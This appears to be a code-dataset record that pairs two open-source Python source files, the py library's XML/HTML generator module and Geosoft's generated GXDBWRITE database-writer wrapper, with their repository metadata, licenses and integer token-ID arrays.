1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
szeged/servo
tests/wpt/web-platform-tests/tools/third_party/py/py/_xmlgen.py
90
8364
""" module for generating and serializing xml and html structures by using simple python objects. (c) holger krekel, holger at merlinux eu. 2009 """ import sys, re if sys.version_info >= (3,0): def u(s): return s def unicode(x, errors=None): if hasattr(x, '__unicode__'): return x.__unicode__() return str(x) else: def u(s): return unicode(s) unicode = unicode class NamespaceMetaclass(type): def __getattr__(self, name): if name[:1] == '_': raise AttributeError(name) if self == Namespace: raise ValueError("Namespace class is abstract") tagspec = self.__tagspec__ if tagspec is not None and name not in tagspec: raise AttributeError(name) classattr = {} if self.__stickyname__: classattr['xmlname'] = name cls = type(name, (self.__tagclass__,), classattr) setattr(self, name, cls) return cls class Tag(list): class Attr(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def __init__(self, *args, **kwargs): super(Tag, self).__init__(args) self.attr = self.Attr(**kwargs) def __unicode__(self): return self.unicode(indent=0) __str__ = __unicode__ def unicode(self, indent=2): l = [] SimpleUnicodeVisitor(l.append, indent).visit(self) return u("").join(l) def __repr__(self): name = self.__class__.__name__ return "<%r tag object %d>" % (name, id(self)) Namespace = NamespaceMetaclass('Namespace', (object, ), { '__tagspec__': None, '__tagclass__': Tag, '__stickyname__': False, }) class HtmlTag(Tag): def unicode(self, indent=2): l = [] HtmlVisitor(l.append, indent, shortempty=False).visit(self) return u("").join(l) # exported plain html namespace class html(Namespace): __tagclass__ = HtmlTag __stickyname__ = True __tagspec__ = dict([(x,1) for x in ( 'a,abbr,acronym,address,applet,area,article,aside,audio,b,' 'base,basefont,bdi,bdo,big,blink,blockquote,body,br,button,' 'canvas,caption,center,cite,code,col,colgroup,command,comment,' 'datalist,dd,del,details,dfn,dir,div,dl,dt,em,embed,' 'fieldset,figcaption,figure,footer,font,form,frame,frameset,h1,' 'h2,h3,h4,h5,h6,head,header,hgroup,hr,html,i,iframe,img,input,' 'ins,isindex,kbd,keygen,label,legend,li,link,listing,map,mark,' 'marquee,menu,meta,meter,multicol,nav,nobr,noembed,noframes,' 'noscript,object,ol,optgroup,option,output,p,param,pre,progress,' 'q,rp,rt,ruby,s,samp,script,section,select,small,source,span,' 'strike,strong,style,sub,summary,sup,table,tbody,td,textarea,' 'tfoot,th,thead,time,title,tr,track,tt,u,ul,xmp,var,video,wbr' ).split(',') if x]) class Style(object): def __init__(self, **kw): for x, y in kw.items(): x = x.replace('_', '-') setattr(self, x, y) class raw(object): """just a box that can contain a unicode string that will be included directly in the output""" def __init__(self, uniobj): self.uniobj = uniobj class SimpleUnicodeVisitor(object): """ recursive visitor to write unicode. """ def __init__(self, write, indent=0, curindent=0, shortempty=True): self.write = write self.cache = {} self.visited = {} # for detection of recursion self.indent = indent self.curindent = curindent self.parents = [] self.shortempty = shortempty # short empty tags or not def visit(self, node): """ dispatcher on node's class/bases name. """ cls = node.__class__ try: visitmethod = self.cache[cls] except KeyError: for subclass in cls.__mro__: visitmethod = getattr(self, subclass.__name__, None) if visitmethod is not None: break else: visitmethod = self.__object self.cache[cls] = visitmethod visitmethod(node) # the default fallback handler is marked private # to avoid clashes with the tag name object def __object(self, obj): #self.write(obj) self.write(escape(unicode(obj))) def raw(self, obj): self.write(obj.uniobj) def list(self, obj): assert id(obj) not in self.visited self.visited[id(obj)] = 1 for elem in obj: self.visit(elem) def Tag(self, tag): assert id(tag) not in self.visited try: tag.parent = self.parents[-1] except IndexError: tag.parent = None self.visited[id(tag)] = 1 tagname = getattr(tag, 'xmlname', tag.__class__.__name__) if self.curindent and not self._isinline(tagname): self.write("\n" + u(' ') * self.curindent) if tag: self.curindent += self.indent self.write(u('<%s%s>') % (tagname, self.attributes(tag))) self.parents.append(tag) for x in tag: self.visit(x) self.parents.pop() self.write(u('</%s>') % tagname) self.curindent -= self.indent else: nameattr = tagname+self.attributes(tag) if self._issingleton(tagname): self.write(u('<%s/>') % (nameattr,)) else: self.write(u('<%s></%s>') % (nameattr, tagname)) def attributes(self, tag): # serialize attributes attrlist = dir(tag.attr) attrlist.sort() l = [] for name in attrlist: res = self.repr_attribute(tag.attr, name) if res is not None: l.append(res) l.extend(self.getstyle(tag)) return u("").join(l) def repr_attribute(self, attrs, name): if name[:2] != '__': value = getattr(attrs, name) if name.endswith('_'): name = name[:-1] if isinstance(value, raw): insert = value.uniobj else: insert = escape(unicode(value)) return ' %s="%s"' % (name, insert) def getstyle(self, tag): """ return attribute list suitable for styling. """ try: styledict = tag.style.__dict__ except AttributeError: return [] else: stylelist = [x+': ' + y for x,y in styledict.items()] return [u(' style="%s"') % u('; ').join(stylelist)] def _issingleton(self, tagname): """can (and will) be overridden in subclasses""" return self.shortempty def _isinline(self, tagname): """can (and will) be overridden in subclasses""" return False class HtmlVisitor(SimpleUnicodeVisitor): single = dict([(x, 1) for x in ('br,img,area,param,col,hr,meta,link,base,' 'input,frame').split(',')]) inline = dict([(x, 1) for x in ('a abbr acronym b basefont bdo big br cite code dfn em font ' 'i img input kbd label q s samp select small span strike ' 'strong sub sup textarea tt u var'.split(' '))]) def repr_attribute(self, attrs, name): if name == 'class_': value = getattr(attrs, name) if value is None: return return super(HtmlVisitor, self).repr_attribute(attrs, name) def _issingleton(self, tagname): return tagname in self.single def _isinline(self, tagname): return tagname in self.inline class _escape: def __init__(self): self.escape = { u('"') : u('&quot;'), u('<') : u('&lt;'), u('>') : u('&gt;'), u('&') : u('&amp;'), u("'") : u('&apos;'), } self.charef_rex = re.compile(u("|").join(self.escape.keys())) def _replacer(self, match): return self.escape[match.group(0)] def __call__(self, ustring): """ xml-escape the given unicode string. """ try: ustring = unicode(ustring) except UnicodeDecodeError: ustring = unicode(ustring, 'utf-8', errors='replace') return self.charef_rex.sub(self._replacer, ustring) escape = _escape()
mpl-2.0
[ 624, 199, 578, 367, 12999, 436, 3012, 9147, 2748, 436, 3517, 13955, 199, 991, 1808, 3486, 2366, 2251, 14, 199, 199, 8, 67, 9, 394, 393, 836, 1022, 264, 75, 352, 12, 394, 393, 836, 737, 4004, 5135, 325, 85, 14, 8937, 199, 624, 199, 646, 984, 12, 295, 199, 199, 692, 984, 14, 1023, 63, 815, 2356, 334, 19, 12, 16, 304, 272, 347, 399, 8, 83, 304, 267, 372, 308, 272, 347, 2649, 8, 88, 12, 2552, 29, 403, 304, 267, 340, 2688, 8, 88, 12, 2560, 2975, 12168, 288, 372, 671, 855, 2975, 4533, 267, 372, 620, 8, 88, 9, 199, 2836, 26, 272, 347, 399, 8, 83, 304, 267, 372, 2649, 8, 83, 9, 272, 2649, 275, 2649, 421, 199, 533, 19317, 29387, 8, 466, 304, 272, 347, 636, 5675, 721, 277, 12, 536, 304, 267, 340, 536, 1491, 17, 61, 508, 2513, 356, 288, 746, 4281, 8, 354, 9, 267, 340, 291, 508, 19317, 26, 288, 746, 1722, 480, 8814, 1021, 365, 9006, 531, 267, 3762, 733, 275, 291, 855, 2969, 733, 363, 267, 340, 3762, 733, 365, 440, 488, 436, 536, 440, 315, 3762, 733, 26, 288, 746, 4281, 8, 354, 9, 267, 1021, 962, 275, 1052, 267, 340, 291, 855, 27364, 354, 10651, 288, 1021, 962, 459, 1652, 354, 418, 275, 536, 267, 843, 275, 730, 8, 354, 12, 334, 277, 855, 1450, 533, 3108, 395, 1021, 962, 9, 267, 5371, 8, 277, 12, 536, 12, 843, 9, 267, 372, 843, 199, 199, 533, 8053, 8, 513, 304, 272, 1021, 20516, 8, 785, 304, 267, 347, 636, 826, 721, 277, 12, 1011, 958, 304, 288, 291, 855, 807, 4343, 873, 8, 958, 9, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 1931, 12, 291, 2843, 826, 721, 589, 9, 267, 291, 14, 962, 275, 291, 14, 7144, 3682, 958, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 2975, 8, 3724, 29, 16, 9, 272, 636, 495, 363, 275, 636, 2975, 363, 339, 347, 2649, 8, 277, 12, 4363, 29, 18, 304, 267, 634, 275, 942, 267, 5870, 7087, 18324, 8, 76, 14, 740, 12, 4363, 680, 5427, 8, 277, 9, 267, 372, 399, 25639, 904, 8, 76, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 536, 275, 291, 855, 533, 4914, 354, 363, 267, 372, 23054, 82, 1947, 909, 450, 68, 4335, 450, 334, 354, 12, 1305, 8, 277, 430, 199, 199, 8814, 275, 19317, 29387, 360, 8814, 297, 334, 785, 12, 2318, 469, 272, 2560, 2969, 733, 3706, 488, 12, 272, 2560, 1450, 533, 3706, 8053, 12, 272, 2560, 27364, 354, 3706, 756, 12, 199, 1552, 199, 199, 533, 20880, 1931, 8, 1931, 304, 272, 347, 2649, 8, 277, 12, 4363, 29, 18, 304, 267, 634, 275, 942, 267, 20880, 18324, 8, 76, 14, 740, 12, 4363, 12, 17068, 808, 369, 29, 797, 680, 5427, 8, 277, 9, 267, 372, 399, 25639, 904, 8, 76, 9, 199, 199, 3, 16629, 8971, 3517, 3231, 199, 533, 3517, 8, 8814, 304, 272, 636, 1450, 533, 363, 275, 20880, 1931, 272, 636, 27364, 354, 363, 275, 715, 272, 636, 2969, 733, 363, 275, 1211, 7694, 88, 12, 17, 9, 367, 671, 315, 334, 267, 283, 65, 12, 20787, 12, 645, 2641, 12828, 12, 1562, 12, 571, 2723, 12, 6789, 12, 6934, 12, 28135, 12, 8130, 12, 66, 2584, 267, 283, 1095, 12, 1095, 4246, 12, 66, 328, 12, 66, 1117, 12, 5076, 12, 24042, 12, 28623, 12, 2030, 12, 3289, 12, 3887, 2584, 267, 283, 7682, 12, 13410, 12, 4218, 12, 25171, 12, 600, 12, 761, 12, 761, 923, 12, 1531, 12, 3349, 2584, 267, 283, 4616, 26279, 12, 617, 12, 2264, 12, 5087, 12, 1587, 78, 12, 694, 12, 3015, 12, 5030, 12, 3583, 12, 5633, 12, 6427, 2584, 267, 283, 698, 409, 12, 592, 13410, 12, 8941, 12, 12781, 12, 4246, 12, 964, 12, 1943, 12, 27462, 12, 72, 17, 2584, 267, 283, 72, 18, 12, 72, 19, 12, 72, 20, 12, 72, 21, 12, 72, 22, 12, 2993, 12, 1291, 12, 72, 923, 12, 6271, 12, 1360, 12, 73, 12, 20052, 12, 4060, 12, 1210, 2584, 267, 283, 3617, 12, 374, 1080, 12, 75, 3691, 12, 498, 2268, 12, 1302, 12, 10231, 12, 317, 12, 1073, 12, 16115, 12, 1130, 12, 1657, 2584, 267, 283, 4584, 12221, 12, 4470, 12, 2024, 12, 10011, 12, 3029, 761, 12, 10927, 12, 13250, 12, 889, 6427, 12, 889, 8444, 2584, 267, 283, 889, 1579, 12, 785, 12, 393, 12, 2992, 923, 12, 1422, 12, 1199, 12, 80, 12, 635, 12, 657, 12, 5734, 2584, 267, 283, 81, 12, 4599, 12, 2591, 12, 21952, 12, 83, 12, 16557, 12, 1579, 12, 2792, 12, 2416, 12, 7241, 12, 1365, 12, 3751, 2584, 267, 283, 26845, 12, 9370, 12, 2487, 12, 954, 12, 4705, 12, 1961, 12, 1224, 12, 17847, 12, 2076, 12, 20895, 2584, 267, 283, 84, 11407, 12, 273, 12, 21519, 12, 521, 12, 1213, 12, 454, 12, 3885, 12, 6215, 12, 85, 12, 348, 12, 88, 311, 12, 1391, 12, 3722, 12, 87, 3289, 7, 272, 7092, 1294, 11917, 340, 671, 566, 339, 1021, 19442, 8, 785, 304, 267, 347, 636, 826, 721, 277, 12, 1011, 829, 304, 288, 367, 671, 12, 612, 315, 4775, 14, 1744, 837, 355, 671, 275, 671, 14, 1814, 20928, 26942, 355, 5371, 8, 277, 12, 671, 12, 612, 9, 421, 199, 533, 3066, 8, 785, 304, 272, 408, 4764, 282, 5689, 626, 883, 1395, 282, 2649, 1059, 626, 911, 506, 272, 5120, 5370, 315, 314, 1072, 624, 272, 347, 636, 826, 721, 277, 12, 15439, 1113, 304, 267, 291, 14, 5411, 1113, 275, 15439, 1113, 199, 199, 533, 5870, 7087, 18324, 8, 785, 304, 272, 408, 9133, 18040, 370, 2218, 2649, 14, 408, 272, 347, 636, 826, 721, 277, 12, 2218, 12, 4363, 29, 16, 12, 1094, 3724, 29, 16, 12, 17068, 808, 369, 29, 549, 304, 267, 291, 14, 952, 275, 2218, 267, 291, 14, 1637, 275, 1052, 267, 291, 14, 21736, 275, 1052, 327, 367, 15212, 402, 16189, 267, 291, 14, 3724, 275, 4363, 267, 291, 14, 895 ]
[ 199, 578, 367, 12999, 436, 3012, 9147, 2748, 436, 3517, 13955, 199, 991, 1808, 3486, 2366, 2251, 14, 199, 199, 8, 67, 9, 394, 393, 836, 1022, 264, 75, 352, 12, 394, 393, 836, 737, 4004, 5135, 325, 85, 14, 8937, 199, 624, 199, 646, 984, 12, 295, 199, 199, 692, 984, 14, 1023, 63, 815, 2356, 334, 19, 12, 16, 304, 272, 347, 399, 8, 83, 304, 267, 372, 308, 272, 347, 2649, 8, 88, 12, 2552, 29, 403, 304, 267, 340, 2688, 8, 88, 12, 2560, 2975, 12168, 288, 372, 671, 855, 2975, 4533, 267, 372, 620, 8, 88, 9, 199, 2836, 26, 272, 347, 399, 8, 83, 304, 267, 372, 2649, 8, 83, 9, 272, 2649, 275, 2649, 421, 199, 533, 19317, 29387, 8, 466, 304, 272, 347, 636, 5675, 721, 277, 12, 536, 304, 267, 340, 536, 1491, 17, 61, 508, 2513, 356, 288, 746, 4281, 8, 354, 9, 267, 340, 291, 508, 19317, 26, 288, 746, 1722, 480, 8814, 1021, 365, 9006, 531, 267, 3762, 733, 275, 291, 855, 2969, 733, 363, 267, 340, 3762, 733, 365, 440, 488, 436, 536, 440, 315, 3762, 733, 26, 288, 746, 4281, 8, 354, 9, 267, 1021, 962, 275, 1052, 267, 340, 291, 855, 27364, 354, 10651, 288, 1021, 962, 459, 1652, 354, 418, 275, 536, 267, 843, 275, 730, 8, 354, 12, 334, 277, 855, 1450, 533, 3108, 395, 1021, 962, 9, 267, 5371, 8, 277, 12, 536, 12, 843, 9, 267, 372, 843, 199, 199, 533, 8053, 8, 513, 304, 272, 1021, 20516, 8, 785, 304, 267, 347, 636, 826, 721, 277, 12, 1011, 958, 304, 288, 291, 855, 807, 4343, 873, 8, 958, 9, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 1931, 12, 291, 2843, 826, 721, 589, 9, 267, 291, 14, 962, 275, 291, 14, 7144, 3682, 958, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 2975, 8, 3724, 29, 16, 9, 272, 636, 495, 363, 275, 636, 2975, 363, 339, 347, 2649, 8, 277, 12, 4363, 29, 18, 304, 267, 634, 275, 942, 267, 5870, 7087, 18324, 8, 76, 14, 740, 12, 4363, 680, 5427, 8, 277, 9, 267, 372, 399, 25639, 904, 8, 76, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 536, 275, 291, 855, 533, 4914, 354, 363, 267, 372, 23054, 82, 1947, 909, 450, 68, 4335, 450, 334, 354, 12, 1305, 8, 277, 430, 199, 199, 8814, 275, 19317, 29387, 360, 8814, 297, 334, 785, 12, 2318, 469, 272, 2560, 2969, 733, 3706, 488, 12, 272, 2560, 1450, 533, 3706, 8053, 12, 272, 2560, 27364, 354, 3706, 756, 12, 199, 1552, 199, 199, 533, 20880, 1931, 8, 1931, 304, 272, 347, 2649, 8, 277, 12, 4363, 29, 18, 304, 267, 634, 275, 942, 267, 20880, 18324, 8, 76, 14, 740, 12, 4363, 12, 17068, 808, 369, 29, 797, 680, 5427, 8, 277, 9, 267, 372, 399, 25639, 904, 8, 76, 9, 199, 199, 3, 16629, 8971, 3517, 3231, 199, 533, 3517, 8, 8814, 304, 272, 636, 1450, 533, 363, 275, 20880, 1931, 272, 636, 27364, 354, 363, 275, 715, 272, 636, 2969, 733, 363, 275, 1211, 7694, 88, 12, 17, 9, 367, 671, 315, 334, 267, 283, 65, 12, 20787, 12, 645, 2641, 12828, 12, 1562, 12, 571, 2723, 12, 6789, 12, 6934, 12, 28135, 12, 8130, 12, 66, 2584, 267, 283, 1095, 12, 1095, 4246, 12, 66, 328, 12, 66, 1117, 12, 5076, 12, 24042, 12, 28623, 12, 2030, 12, 3289, 12, 3887, 2584, 267, 283, 7682, 12, 13410, 12, 4218, 12, 25171, 12, 600, 12, 761, 12, 761, 923, 12, 1531, 12, 3349, 2584, 267, 283, 4616, 26279, 12, 617, 12, 2264, 12, 5087, 12, 1587, 78, 12, 694, 12, 3015, 12, 5030, 12, 3583, 12, 5633, 12, 6427, 2584, 267, 283, 698, 409, 12, 592, 13410, 12, 8941, 12, 12781, 12, 4246, 12, 964, 12, 1943, 12, 27462, 12, 72, 17, 2584, 267, 283, 72, 18, 12, 72, 19, 12, 72, 20, 12, 72, 21, 12, 72, 22, 12, 2993, 12, 1291, 12, 72, 923, 12, 6271, 12, 1360, 12, 73, 12, 20052, 12, 4060, 12, 1210, 2584, 267, 283, 3617, 12, 374, 1080, 12, 75, 3691, 12, 498, 2268, 12, 1302, 12, 10231, 12, 317, 12, 1073, 12, 16115, 12, 1130, 12, 1657, 2584, 267, 283, 4584, 12221, 12, 4470, 12, 2024, 12, 10011, 12, 3029, 761, 12, 10927, 12, 13250, 12, 889, 6427, 12, 889, 8444, 2584, 267, 283, 889, 1579, 12, 785, 12, 393, 12, 2992, 923, 12, 1422, 12, 1199, 12, 80, 12, 635, 12, 657, 12, 5734, 2584, 267, 283, 81, 12, 4599, 12, 2591, 12, 21952, 12, 83, 12, 16557, 12, 1579, 12, 2792, 12, 2416, 12, 7241, 12, 1365, 12, 3751, 2584, 267, 283, 26845, 12, 9370, 12, 2487, 12, 954, 12, 4705, 12, 1961, 12, 1224, 12, 17847, 12, 2076, 12, 20895, 2584, 267, 283, 84, 11407, 12, 273, 12, 21519, 12, 521, 12, 1213, 12, 454, 12, 3885, 12, 6215, 12, 85, 12, 348, 12, 88, 311, 12, 1391, 12, 3722, 12, 87, 3289, 7, 272, 7092, 1294, 11917, 340, 671, 566, 339, 1021, 19442, 8, 785, 304, 267, 347, 636, 826, 721, 277, 12, 1011, 829, 304, 288, 367, 671, 12, 612, 315, 4775, 14, 1744, 837, 355, 671, 275, 671, 14, 1814, 20928, 26942, 355, 5371, 8, 277, 12, 671, 12, 612, 9, 421, 199, 533, 3066, 8, 785, 304, 272, 408, 4764, 282, 5689, 626, 883, 1395, 282, 2649, 1059, 626, 911, 506, 272, 5120, 5370, 315, 314, 1072, 624, 272, 347, 636, 826, 721, 277, 12, 15439, 1113, 304, 267, 291, 14, 5411, 1113, 275, 15439, 1113, 199, 199, 533, 5870, 7087, 18324, 8, 785, 304, 272, 408, 9133, 18040, 370, 2218, 2649, 14, 408, 272, 347, 636, 826, 721, 277, 12, 2218, 12, 4363, 29, 16, 12, 1094, 3724, 29, 16, 12, 17068, 808, 369, 29, 549, 304, 267, 291, 14, 952, 275, 2218, 267, 291, 14, 1637,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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
GeosoftInc/gxpy
geosoft/gxapi/GXDBWRITE.py
1
11130
### extends 'class_empty.py' ### block ClassImports # NOTICE: Do not edit anything here, it is generated code from . import gxapi_cy from geosoft.gxapi import GXContext, float_ref, int_ref, str_ref from .GXDB import GXDB from .GXVA import GXVA from .GXVV import GXVV ### endblock ClassImports ### block Header # NOTICE: The code generator will not replace the code in this block ### endblock Header ### block ClassImplementation # NOTICE: Do not edit anything here, it is generated code class GXDBWRITE(gxapi_cy.WrapDBWRITE): """ GXDBWRITE class. The `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` class is used to open and write to databases. Large blocks of data are split into blocks and served up sequentially to prevent the over-use of virtual memory when VVs or VAs are being written to channels. Individual data blocks are limited by default to 1 MB (which is user-alterable). Data less than the block size are served up whole, one block per line. """ def __init__(self, handle=0): super(GXDBWRITE, self).__init__(GXContext._get_tls_geo(), handle) @classmethod def null(cls): """ A null (undefined) instance of `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` :returns: A null `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` :rtype: GXDBWRITE """ return GXDBWRITE() def is_null(self): """ Check if this is a null (undefined) instance :returns: True if this is a null (undefined) instance, False otherwise. :rtype: bool """ return self._internal_handle() == 0 # Create Methods @classmethod def create(cls, db): """ Create a `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object Add channels using the `add_channel <geosoft.gxapi.GXDBWRITE.add_channel>` method.channel. :param db: Database input :type db: GXDB :returns: `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object :rtype: GXDBWRITE .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ """ ret_val = gxapi_cy.WrapDBWRITE._create(GXContext._get_tls_geo(), db) return GXDBWRITE(ret_val) @classmethod def create_xy(cls, db): """ Create a `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object for a XY-located data. Add channels using the `add_channel <geosoft.gxapi.GXDBWRITE.add_channel>` method. :param db: Database input :type db: GXDB :returns: `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object :rtype: GXDBWRITE .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ """ ret_val = gxapi_cy.WrapDBWRITE._create_xy(GXContext._get_tls_geo(), db) return GXDBWRITE(ret_val) @classmethod def create_xyz(cls, db): """ Create a `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object for a XYZ-located data. Add channels using the `add_channel <geosoft.gxapi.GXDBWRITE.add_channel>` method.channel :param db: Database input :type db: GXDB :returns: `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object :rtype: GXDBWRITE .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ """ ret_val = gxapi_cy.WrapDBWRITE._create_xyz(GXContext._get_tls_geo(), db) return GXDBWRITE(ret_val) def add_channel(self, chan): """ Add a data channel to the `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object. :param chan: Channel handle (does not need to be locked, but can be.) :type chan: int :returns: Channel index. Use for getting the correct `GXVV <geosoft.gxapi.GXVV>` or `GXVA <geosoft.gxapi.GXVA>` object. :rtype: int .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ """ ret_val = self._add_channel(chan) return ret_val # Data Access Methods def get_db(self): """ Get the output `GXDB <geosoft.gxapi.GXDB>` handle from the `GXDBWRITE <geosoft.gxapi.GXDBWRITE>` object. :returns: `GXDB <geosoft.gxapi.GXDB>` handle :rtype: GXDB .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ """ ret_val = self._get_db() return GXDB(ret_val) def get_vv(self, chan): """ Get the `GXVV <geosoft.gxapi.GXVV>` handle for a channel. :param chan: Index of channel to access. :type chan: int :returns: `GXVV <geosoft.gxapi.GXVV>` handle :rtype: GXVV .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Call only for single-column (regular) channels. You can call the `get_chan_array_size <geosoft.gxapi.GXDBWRITE.get_chan_array_size>` function to find the number fo columns in a given channel. The `GXVV <geosoft.gxapi.GXVV>` is filled anew for each block served up. """ ret_val = self._get_vv(chan) return GXVV(ret_val) def get_va(self, chan): """ Get the `GXVA <geosoft.gxapi.GXVA>` handle for an array channel. :param chan: Index of channel to access. :type chan: int :returns: `GXVA <geosoft.gxapi.GXVA>` handle :rtype: GXVA .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Call only for array (multi-column) channels. You can call the `get_chan_array_size <geosoft.gxapi.GXDBWRITE.get_chan_array_size>` function to find the number fo columns in a given channel, or you can call `GXVA.col <geosoft.gxapi.GXVA.col>` on the returned `GXVA <geosoft.gxapi.GXVA>` handle. The `GXVA <geosoft.gxapi.GXVA>` is filled anew for each block served up. """ ret_val = self._get_va(chan) return GXVA(ret_val) def get_v_vx(self): """ Get the X channel `GXVV <geosoft.gxapi.GXVV>` handle. :returns: `GXVV <geosoft.gxapi.GXVV>` handle :rtype: GXVV .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Only available for the CreateXY or CreateXYZ methods. The `GXVV <geosoft.gxapi.GXVV>` is filled anew for each block served up. """ ret_val = self._get_v_vx() return GXVV(ret_val) def get_v_vy(self): """ Get the Y channel `GXVV <geosoft.gxapi.GXVV>` handle. :returns: `GXVV <geosoft.gxapi.GXVV>` handle :rtype: GXVV .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Only available for the CreateXY or CreateXYZ methods. The `GXVV <geosoft.gxapi.GXVV>` is filled anew for each block served up. """ ret_val = self._get_v_vy() return GXVV(ret_val) def get_v_vz(self): """ Get the Z channel `GXVV <geosoft.gxapi.GXVV>` handle. :returns: `GXVV <geosoft.gxapi.GXVV>` handle :rtype: GXVV .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Only available for the CreateXY or CreateXYZ methods. The `GXVV <geosoft.gxapi.GXVV>` is filled anew for each block served up. If the Z channel is an array channel, the returned `GXVV <geosoft.gxapi.GXVV>` is the "base" `GXVV <geosoft.gxapi.GXVV>` of the `GXVA <geosoft.gxapi.GXVA>` and contains all items sequentially. """ ret_val = self._get_v_vz() return GXVV(ret_val) def get_chan_array_size(self, chan): """ Get the number of columns of data in a channel. :param chan: Index of channel to access. :type chan: int :returns: The number of columns (array size) for a channel :rtype: int .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Regular channels have one column of data. Array channels have more than one column of data. This function should be called to determine whether to use `get_vv <geosoft.gxapi.GXDBWRITE.get_vv>` or `get_va <geosoft.gxapi.GXDBWRITE.get_va>` to access data for a channel. """ ret_val = self._get_chan_array_size(chan) return ret_val # Processing def add_block(self, line): """ Add the current block of data. :param line: Line :type line: int .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** First, set up the data for each channel by copying values into the individual channel VVs and VAs. """ self._add_block(line) def commit(self): """ Commit remaining data to the database. .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ """ self._commit() def test_func(self, ra): """ Temporary test function. :param ra: `GXRA <geosoft.gxapi.GXRA>` handle to text file to import. :type ra: GXRA .. versionadded:: 9.0 **License:** `Geosoft Open License <https://geosoftgxdev.atlassian.net/wiki/spaces/GD/pages/2359406/License#License-open-lic>`_ **Note:** Designed to import the "Massive.xyz" file, which has data in the format "X Y Z Data". """ self._test_func(ra) ### endblock ClassImplementation ### block ClassExtend # NOTICE: The code generator will not replace the code in this block ### endblock ClassExtend ### block Footer # NOTICE: The code generator will not replace the code in this block ### endblock Footer
bsd-2-clause
[ 5680, 16879, 283, 533, 63, 1667, 14, 647, 7, 199, 5680, 1853, 8089, 32447, 199, 3, 12840, 26, 4226, 440, 5283, 7003, 2348, 12, 652, 365, 4046, 1233, 199, 504, 1275, 492, 486, 32751, 63, 1480, 199, 504, 30259, 32009, 14, 20777, 1246, 492, 598, 56, 2998, 12, 2069, 63, 1121, 12, 1109, 63, 1121, 12, 620, 63, 1121, 199, 504, 1275, 39, 56, 2846, 492, 598, 56, 2846, 199, 504, 1275, 39, 56, 15162, 492, 598, 56, 15162, 199, 504, 1275, 39, 56, 17578, 492, 598, 56, 17578, 421, 199, 5680, 21525, 8089, 32447, 199, 199, 5680, 1853, 10240, 199, 3, 12840, 26, 710, 1233, 4306, 911, 440, 3350, 314, 1233, 315, 642, 1853, 199, 5680, 21525, 10240, 199, 199, 5680, 1853, 8089, 7921, 199, 3, 12840, 26, 4226, 440, 5283, 7003, 2348, 12, 652, 365, 4046, 1233, 199, 533, 598, 56, 2846, 10387, 8, 20777, 1246, 63, 1480, 14, 15991, 2846, 10387, 304, 272, 408, 272, 598, 56, 2846, 10387, 1021, 14, 339, 710, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 1021, 365, 1202, 370, 1551, 436, 2218, 370, 16219, 14, 29095, 5664, 402, 666, 272, 787, 3715, 1901, 5664, 436, 19733, 1536, 542, 1514, 9406, 370, 7981, 314, 1806, 13, 1180, 402, 5791, 4402, 1380, 812, 20343, 503, 812, 2822, 787, 3769, 5313, 370, 9245, 14, 272, 1010, 15067, 666, 5664, 787, 13988, 701, 849, 370, 413, 19487, 334, 6777, 365, 922, 13, 279, 13048, 680, 3918, 6656, 2419, 314, 1853, 1568, 272, 787, 19733, 1536, 8852, 12, 1373, 1853, 1126, 1004, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2429, 29, 16, 304, 267, 1613, 8, 39, 56, 2846, 10387, 12, 